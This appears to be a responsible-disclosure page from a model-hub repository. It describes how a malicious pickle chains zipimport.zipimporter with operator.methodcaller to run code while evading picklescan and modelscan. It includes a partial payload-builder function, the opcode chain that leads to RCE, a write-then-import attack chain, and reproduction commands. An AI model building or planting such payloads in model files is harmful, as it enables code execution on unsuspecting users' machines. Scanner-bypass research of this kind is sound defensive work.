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zipimport.zipimporter — Import Module from Zip Archive
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 3 | 3 | Partial |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
zipimport.zipimporter(archive) creates an importer that can load Python modules from a zip archive. zipimporter.load_module(name) imports and executes a module from that archive — running all top-level code in __init__.py.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(zip_path: str, module_name: str = "evil") -> bytes:
"""zipimport.zipimporter(zip) + operator.methodcaller('load_module', name)."""
ops = bytearray(b"\x80\x04")
# Step 1: zipimport.zipimporter(zip_path) → importer [CRITICAL 1]
ops += sg("zipimport", "zipimporter") + sbu(zip_path) + b"\x85R"
ops += b"\x94\x30" # MEMOIZE 0, POP
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-zipimport-load-module
cd pickle-bypass-zipimport-load-module
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
zipimport.zipimporter is already flagged by modelaudit. Add to picklescan and modelscan deny lists.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
zipimport.zipimporter — Import Module from Zip Archive
Modelaudit score: 2 CRITICAL (zipimport.zipimporter + operator.methodcaller)
picklescan score: 0 findings
modelscan score: 0 findings
Mechanism
zipimport.zipimporter(archive) creates an importer that can load Python modules from a zip archive. zipimporter.load_module(name) imports and executes a module from that archive — running all top-level code in __init__.py.
GLOBAL 'zipimport' 'zipimporter' [CRITICAL 1]
('/tmp/evil_model.zip',)
REDUCE → importer object
GLOBAL 'operator' 'methodcaller' [CRITICAL 2]
('load_module', 'evil')
REDUCE → mc = methodcaller('load_module', 'evil')
mc(importer)
REDUCE → importer.load_module('evil') → executes evil/__init__.py → RCE
Two-Step Attack
The zip file must exist before the pickle runs. Combined with a file-write step:
Step 1: pathlib.Path('/tmp/evil.zip').write_bytes(zip_content) [WARNING]
Step 2: zipimport.zipimporter('/tmp/evil.zip').load_module('evil') [CRITICAL]
The full chain: write zip + import module = RCE in a single pickle.loads() call.
Recommended Fix
zipimport.zipimporter is already flagged by modelaudit. Add to picklescan and modelscan deny lists.
General Analysis — Security Research